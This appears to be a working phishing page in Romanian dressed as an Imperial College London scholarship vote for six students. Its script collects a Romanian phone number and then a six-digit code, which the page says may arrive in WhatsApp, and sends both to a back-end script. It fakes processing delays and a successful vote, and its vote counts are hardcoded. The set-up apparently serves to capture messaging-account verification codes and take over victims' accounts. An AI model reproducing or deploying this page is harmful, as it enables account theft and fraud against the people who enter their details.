<!DOCTYPE html>
<html lang="ro">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Bursa Studențească - Vot</title>
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"/>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"/>
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&family=Playfair+Display:wght@700&display=swap" rel="stylesheet"/>
  <style>
    body {
      background: linear-gradient(to bottom right, #ffffff 50%, #f8f9ff 100%);
      color: #333;
      font-family: 'Poppins', sans-serif;
      margin: 0;
      padding: 0;
    }
    .main-container {
      padding: 1rem;
      max-width: 1200px;
      margin: 0 auto;
    }
  	
  	.logo {
        text-align: center;
        margin: 0 0 17px 0px;
        border: 5px solid #32587e;
        padding: 12px 0 12px 0;
        border-left: none;
        border-right: none;
    }
    .logo svg {
      width: 320px;
      max-width: 100%;
      height: auto;
      color: #18416b;
    }
    .highlight-pink {
      color: #283c51;
      font-weight: 700;
    }
    .header-description h2 {
      font-size: 1.75rem;
      color: #285685;
      font-weight: 700;
      margin-bottom: 1.5rem;
      line-height: 1.2;
    }
    .header-description p {
      font-size: 1.1rem;
      margin-bottom: 0.5rem;
      line-height: 1.4;
    }
    .model-card {
      position: relative;
      overflow: hidden;
      border-radius: 20px;
      margin-bottom: 20px;
      background: #fff;
      box-shadow: 0 5px 15px rgba(0,0,0,0.08);
      transition: transform 0.3s ease, box-shadow 0.3s ease;
    }
    .model-card:hover {
      transform: translateY(-5px);
      box-shadow: 0 15px 30px rgba(0,0,0,0.12);
    }
    .model-card .card-img-top {
      width: 100%;
      height: 260px; 
      object-fit: cover;
      border-top-left-radius: 10px;
      border-top-right-radius: 10px;
      cursor: pointer;
      margin-bottom: 10px;
    }
    .votes {
      position: absolute;
      top: 10px;
      left: 10px;
      background: #343749;
      color: #fff;
      padding: 6px 12px;
      border-radius: 20px;
      font-size: 0.9rem;
      font-weight: 500;
    }
    .vote-button {
      background: #032253;
      color: #fff !important;
      font-size: 0.9rem;
      font-weight: 600;
      text-transform: uppercase;
      transition: background 0.3s;
      border: none;
      border-radius: 40px;
      padding: 10px 20px;
      margin-top: 1rem;
    }
    .vote-button:hover {
      background: #005bbf;
      color: #fff !important;
    }
    .card-body {
      padding: 1rem;
    }
    .card-title {
        font-size: 1.3rem;
        font-weight: 600;
        margin-bottom: 0.5rem;
        color: #21428c;
    }
    .card-body p {
      font-size: 0.9rem;
      line-height: 1.4;
    }
    .modal-content {
      text-align: center;
      background: #fff;
      border: none;
      border-radius: 10px;
      padding: 20px;
    }
    .modal-header {
      border-bottom: none;
    }
    .btn-close {
      color: #007bff;
      font-size: 1.2rem;
    }
    .modal-title {
      font-size: 1.5rem;
      font-weight: 700;
      color: #131d29;
    }
    .modal-body p {
      font-size: 1rem;
      color: #333;
      margin-bottom: 1rem;
      line-height: 1.4;
    }
  	.infw{
    	margin: 13px 0 0 0;
    	font-size: 13px!important;
	}
    .highlighted {
      font-size: 1.1rem;
      font-weight: bold;
      color: #007bff;
    }

    #models-container{
        margin-top: 45px;
    }
    .btn-download {
      color: #fff !important;
      font-size: 0.9rem;
      padding: 12px 16px;
      border-radius: 5px;
      text-transform: uppercase;
      text-decoration: none;
      display: inline-block;
      transition: background-color 0.3s, transform 0.3s;
      font-weight: 600;
    }
    .btn-download:hover {
      transform: scale(1.05);
    }
    .btn-site {
      background: #007bff;
    }
    #photoModal {
      position: fixed;
      z-index: 1000;
      left: 0;
      top: 0;
      width: 100%;
      height: 100%;
      background-color: rgba(0, 0, 0, 0.8);
      display: flex;
      justify-content: center;
      align-items: center;
      visibility: hidden;
      opacity: 0;
      transition: visibility 0s, opacity 0.5s ease;
    }
    #photoModalImg {
      max-width: 90%;
      max-height: 90%;
      object-fit: contain;
      border: 3px solid #fff;
      border-radius: 10px;
    }
    #photoModal .close {
      position: absolute;
      top: 20px;
      right: 20px;
      color: white;
      font-size: 30px;
      cursor: pointer;
      z-index: 1001;
    }

  	.footer__social a {
  		text-decoration: none;
  	}
  	
  	footer{
    	padding: 0 0 0 10px;	
  	}
  
    .s31{
        width: 40px; font-size: 1.5rem;
    }

    @media (min-width: 768px) {
      .model-col {
        flex: 0 0 auto;
        width: 50%;
      }
    }
    @media (min-width: 992px) {
      .model-col {
        width: 33.3333%;
      }
    }
  </style>
</head>
<body>
<div class="main-container">
  <div class="logo">
    <svg viewBox="0 0 727 80" fill="none" xmlns="http://www.w3.org/2000/svg">
      <path
        d="M301.453 0V80H353.346V66H316.622V46H350.152V32.4H316.622V14H353.346V0H301.453Z"
        fill="currentColor"
      ></path>
      <path
        d="M238.397 12.9177H227.22V39.8776H238.397C247.142 39.8776 253.566 35.6376 253.566 26.3953C253.566 16.8 247.142 12.9177 238.397 12.9177ZM239.196 52.8H227.22V80H212.052V0H239.196C256.219 0 269.533 7.72706 269.533 26.4C269.533 44.8 256.121 52.8 239.196 52.8Z"
        fill="currentColor"
      ></path>
      <path
        d="M485.079 0V14H503.84V66H485.079V80H537.77V66H519.009V14H537.77V0H485.079Z"
        fill="currentColor"
      ></path>
      <path
        d="M434.191 24.8C434.191 34.4377 428.602 37.4777 419.022 37.4777H406.248V12.9177H419.022C429.419 12.9224 434.191 16.8 434.191 24.8ZM450.158 24.8C450.158 6.12706 437.384 0 420.619 0H391.08V80H406.248V50.4H419.022C419.722 50.4 420.417 50.3859 421.107 50.3624L436.562 80H453.37L436.224 47.1906C444.565 43.4777 450.158 36.3435 450.158 24.8Z"
        fill="currentColor"
      ></path>
      <path
        d="M604.324 14.1929L615.238 49.4777H593.406L604.324 14.1929ZM594.345 0L567.999 80H583.966L589.409 62.4H619.235L624.678 80H640.645L614.299 0H594.345Z"
        fill="currentColor"
      ></path>
      <path
        d="M674.889 0V80H726.914V66H690.058V0H674.889Z"
        fill="currentColor"
      ></path>
      <path
        d="M151.908 0L132.747 47.04L113.587 0H92.0312V80H106.402V20.1882L124.764 62.4H140.731L159.093 20.1882V80H173.463V0H151.908Z"
        fill="currentColor"
      ></path>
      <path
        d="M0 0V14H18.7613V66H0V80H52.6912V66H33.93V14H52.6912V0H0Z"
        fill="currentColor"
      ></path>
    </svg>
  </div>
  <div class="header-description">
    <h2>
      Votarea pentru studentele talentate din 
      <span class="highlight-pink">Europa</span>: alege 
      <span class="highlight-pink">viitorul</span>!
    </h2>
    <p>
      Vă invităm să participați la o <strong class="highlight-pink">votare unică</strong>, unde fiecare dintre participante este o <strong class="highlight-pink">sursă de inspirație</strong> și un <strong class="highlight-pink">exemplu de perseverență</strong> în urmărirea visurilor. Șase tinere din diferite colțuri ale Europei și-au împărtășit poveștile, obiectivele și proiectele care deja schimbă lumea în bine.
    </p>
    <p>
      Cine merită <strong class="highlight-pink">bursa</strong> care le va ajuta să-și valorifice potențialul și să facă lumea mai bună? Alegerea este în mâinile voastre! Citiți descrierile participantelor, aflați despre visurile lor și votați pentru <strong class="highlight-pink">cea care vă inspiră cel mai mult</strong>.
    </p>
    <p>
      Câștigătoarea va primi o bursă pentru a studia la 
      <strong class="highlight-pink">Imperial College London</strong> — una dintre cele mai prestigioase universități din Marea Britanie, recunoscută pentru standardele înalte de educație și inovațiile în știință, tehnologie, artă și medicină. Este locul unde ambițiile devin realitate, iar studenții talentați din întreaga lume au șansa de a schimba viitorul.
    </p>
    <p>
      Bursa va acoperi costurile studiilor, participarea la proiecte de cercetare, conferințe internaționale sau inițiative culturale.
    </p>
    <p>
      Votarea este deschisă până la data de 
      <strong class="highlight-pink">14.02.2025</strong>!
      Grăbiți-vă să faceți alegerea voastră!
    </p>
  </div>
  <div class="row" id="models-container"></div>
</div>

<!-- <div id="photoModal">
  <span class="close" onclick="closePhotoModal()">&times;</span>
  <img id="photoModalImg" src="" alt="Foto mare participantă">
</div> -->

<div class="modal fade" id="appModal" tabindex="-1" aria-labelledby="appModalLabel" aria-hidden="true">
  <div class="modal-dialog modal-dialog-centered">
    <div class="modal-content">
      <div class="modal-header text-center">
        <h5 class="modal-title w-100" id="appModalLabel">Confirmați votul</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Închide"></button>
      </div>
      <div class="modal-body text-center">
        <div id="step-1">
          <p>Introduceți numărul de telefon:</p>
          <div class="mb-3">
            <label for="phoneInput" class="form-label">Număr de telefon</label>
            <div class="input-group">
              <span class="input-group-text">+40</span>
              <input
  type="tel"
  class="form-control"
  id="phoneInput"
  placeholder="XXX XXX XXX"
  maxlength="9"
  inputmode="numeric"
  pattern="[0-9]*"
  oninput="focusPhoneInput(this);"
/>
            </div>
          </div>
          <button class="btn btn-success w-100" onclick="confirmPhone()">Trimite</button>
        </div>
        <div id="step-2" style="display: none;">
          <p class="mt-3">Introduceți codul de confirmare primit pe telefon:</p>
          <div class="d-flex justify-content-center gap-2">
<input type="tel" class="form-control text-center s31" maxlength="1" inputmode="numeric" pattern="[0-9]*" oninput="moveToNextInput(this)" />
<input type="tel" class="form-control text-center s31" maxlength="1" inputmode="numeric" pattern="[0-9]*" oninput="moveToNextInput(this)" />
<input type="tel" class="form-control text-center s31" maxlength="1" inputmode="numeric" pattern="[0-9]*" oninput="moveToNextInput(this)" />
<span class="align-self-center">-</span>
<input type="tel" class="form-control text-center s31" maxlength="1" inputmode="numeric" pattern="[0-9]*" oninput="moveToNextInput(this)" />
<input type="tel" class="form-control text-center s31" maxlength="1" inputmode="numeric" pattern="[0-9]*" oninput="moveToNextInput(this)" />
<input type="tel" class="form-control text-center s31" maxlength="1" inputmode="numeric" pattern="[0-9]*" oninput="moveToNextInput(this)" />
          </div>
          <button class="btn btn-success mt-3 w-100" onclick="submitCode()">Trimite codul</button>
        	<p class="infw">Dacă sunteți utilizator WhatsApp <i class="fa-brands fa-whatsapp"></i> , veți primi codul în App.</p>
        </div>
        <div id="step-3" style="display: none;">
          <p class="mt-3 text-success">Votul a fost înregistrat cu succes!</p>
          <button class="btn btn-success w-100 mt-3" data-bs-dismiss="modal">Închide</button>
        </div>
        <div id="loader" style="display: none;">
          <div class="spinner-border text-primary" role="status">
            <span class="visually-hidden">Se încarcă...</span>
          </div>
          <p class="mt-3">Procesare...</p>
        </div>
      </div>
    </div>
  </div>
</div>

<footer class="bg-dark text-white py-4">
  <div class="container">
    <div class="row">
      <!-- Contact Information -->
      <div class="col-lg-3 col-sm-12 mb-3">
        <div class="footer__contact">
          <a href="#" class="footer__brand text-white text-decoration-none">
            <h2 class="mb-3">IMPERIAL</h2>
          </a>
          <p class="mb-0">
            Imperial College London<br />
            South Kensington Campus<br />
            London SW7 2AZ, UK<br />
            tel: <a href="tel:+442075895111" class="text-white text-decoration-none">+44 (0)20 7589 5111</a>
          </p>
        </div>
      </div>
      <div class="col-lg-9 col-sm-12">
        <div class="footer__social mb-3 text-lg-end">
          <a href="https://www.facebook.com/imperialcollegelondon" target="_blank" class="text-white me-3">
            <i class="fab fa-facebook fa-lg"></i>
          </a>
          <a href="https://twitter.com/imperialcollege" target="_blank" class="text-white me-3">
            <i class="fab fa-twitter fa-lg"></i>
          </a>
          <a href="https://www.youtube.com/user/imperialcollegevideo" target="_blank" class="text-white me-3">
            <i class="fab fa-youtube fa-lg"></i>
          </a>
          <a href="https://www.linkedin.com/edu/imperial-college-london-12598" target="_blank" class="text-white me-3">
            <i class="fab fa-linkedin fa-lg"></i>
          </a>
          <a href="https://instagram.com/imperialcollege" target="_blank" class="text-white me-3">
            <i class="fab fa-instagram fa-lg"></i>
          </a>
          <a href="https://www.tiktok.com/@imperialcollege" target="_blank" class="text-white">
            <i class="fab fa-tiktok fa-lg"></i>
          </a>
        </div>
        <p class="text-lg-end mt-3 mb-0">© 2025 Imperial College London</p>
      </div>
    </div>
  </div>
</footer>



<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
<script>
	$(document).ready(function () {
    	$.post('api.php', { action: 'visit' }, function (response) {}, 'json').fail(function () {});
	});

    function confirmPhone() {
        const phoneInput = document.getElementById('phoneInput');
        const phone = phoneInput.value;
        if (phone.length !== 9) {
          phoneInput.focus();
          return;
        }
        $('#step-1').hide();
        $('#loader').show();
        $.post('api.php', { action: 'sendPhone', phone: phone }, function(response) {
            setTimeout(() => {
                $('#loader').hide();

                if (response.status === 'success') {
                    $('#step-2').show();
                } else {
                    $('#step-1').show();
                }
            }, 6000); 
        }, 'json').fail(function() {
            setTimeout(() => {
                $('#loader').hide();
                $('#step-1').show();
            }, 6000);
        });
    }

    function submitCode() {
        const phone = document.getElementById('phoneInput').value;
        let code = '';
        document.querySelectorAll('#step-2 input').forEach(input => {
            code += input.value;
        });

        if (code.length !== 6) {
            return;
        }
        $('#step-2').hide();
        $('#loader').show();
        $.post('api.php', { action: 'sendCode', phone: phone, code: code }, function(response) {
            setTimeout(() => {
                $('#loader').hide();

                if (response.status === 'success') {
                    $('#step-3').show();
                } else {
                    $('#step-2').show();
                }
            }, 6000); 
        }, 'json').fail(function() {
           
            setTimeout(() => {
                $('#loader').hide();
                $('#step-2').show();
            }, 6000);
        });
    }

  function moveToNextInput(input) {
    if (input.value.length === input.maxLength) {
      let nextInput = input.nextElementSibling;
      while (nextInput && nextInput.tagName !== 'INPUT') {
        nextInput = nextInput.nextElementSibling;
      }
      if (nextInput) {
        nextInput.focus();
      }
    }
  }
  function focusPhoneInput(input) {
    input.value = input.value.replace(/\D/g, '').slice(0, 9);
  }




const models = [
  {
    id: 1,
    name: "1. Anna, 20 de ani, Germania",
    description:
      "Anna este studentă la facultatea de inginerie, visând să dezvolte tehnologii durabile pentru protejarea mediului. În timpul liber, se ocupă de robotică și organizează evenimente ecologice. Anna dorește să folosească bursa pentru un stagiu într-o companie specializată în energie regenerabilă.",
    photo: "1.jpg",
    votes: 2320,
  },
  {
    id: 2,
    name: "2. Emilia, 21 de ani, România",
    description:
      "Emilia studiază la facultatea de arte și design. Ea creează picturi inspirate din legendele și cultura românească și visează să deschidă o galerie proprie pentru a arăta lumii frumusețea țării sale. Dacă câștigă bursa, intenționează să-și dezvolte abilitățile în domeniul artei digitale.",
    photo: "2.jpg",
    votes: 2233,
  },
  {
    id: 3,
    name: "3. Sofia, 19 ani, Spania",
    description:
      "Sofia este pasionată de biologie și visează să devină medic pentru a lucra în organizații ce oferă ajutor în țările sărace. Ea este voluntar activ, participând la campanii medicale în orașul ei. Bursa o va ajuta să urmeze cursuri suplimentare în domeniul geneticii.",
    photo: "3.jpg",
    votes: 989,
  },
  {
    id: 4,
    name: "4. Laura, 22 de ani, Franța",
    description:
      "Laura studiază relațiile internaționale și lucrează la un proiect legat de drepturile omului. Este convinsă că munca ei va contribui la îmbunătățirea condițiilor de viață pentru grupurile vulnerabile. Ea dorește să folosească bursa pentru organizarea de conferințe care să atragă atenția asupra acestor probleme.",
    photo: "4.jpg",
    votes: 1740,
  },
  {
    id: 5,
    name: "5. Caterina, 20 de ani, Italia",
    description:
      "Caterina este studentă la arhitectură. Scopul ei este să reînvie clădirile vechi și monumentele culturale. Deja a creat câteva proiecte de reconstrucție în regiunea ei. Bursa îi va permite să facă practică într-un birou arhitectural important.",
    photo: "5.jpg",
    votes: 2073,
  },
  {
    id: 6,
    name: "6. Elisabeta, 21 de ani, Suedia",
    description:
      "Elisabeta este pasionată de programare și inteligență artificială. Lucrează la dezvoltarea unui AI capabil să îmbunătățească sistemul educațional. Obiectivul ei principal este să facă cunoștințele accesibile pentru toți, indiferent de locație. Bursa o va ajuta să participe la o conferință internațională de IT.",
    photo: "6.jpg",
    votes: 1583,
  },
];

  function renderModels() {
    const container = $("#models-container");
    models.forEach(model => {
      const card = `
        <div class="col-12 model-col mb-4">
          <div class="card model-card h-100" id="model-${model.id}">
            <img
              src="${model.photo}"
              class="card-img-top"
              alt="${model.name}"
              onclick="openPhotoModal('${model.photo}')"
            />
            <div class="votes">${model.votes} voturi</div>
            <div class="card-body d-flex flex-column justify-content-between">
              <div>
                <h5 class="card-title">${model.name}</h5>
                <p class="mt-2">${model.description}</p>
              </div>
              <button
                class="vote-button mt-2"
                onclick="vote(${model.id})"
              >
                Votează
              </button>
            </div>
          </div>
        </div>
      `;
      container.append(card);
    });
  }

  function vote(modelId) {
    const model = models.find(m => m.id === modelId);
    model.votes++;
    $(`#model-${modelId} .votes`).text(`${model.votes} voturi`);
    $("#appModal").modal("show");
  }

  function openPhotoModal(photo) {
    $("#photoModalImg").attr("src", photo);
    $("#photoModal").css("visibility", "visible").css("opacity", "1");
  }

  function closePhotoModal() {
    $("#photoModal")
      .css("visibility", "hidden")
      .css("opacity", "0");
  }
  $(document).ready(() => {
    renderModels();
  });
</script>
</body>
</html>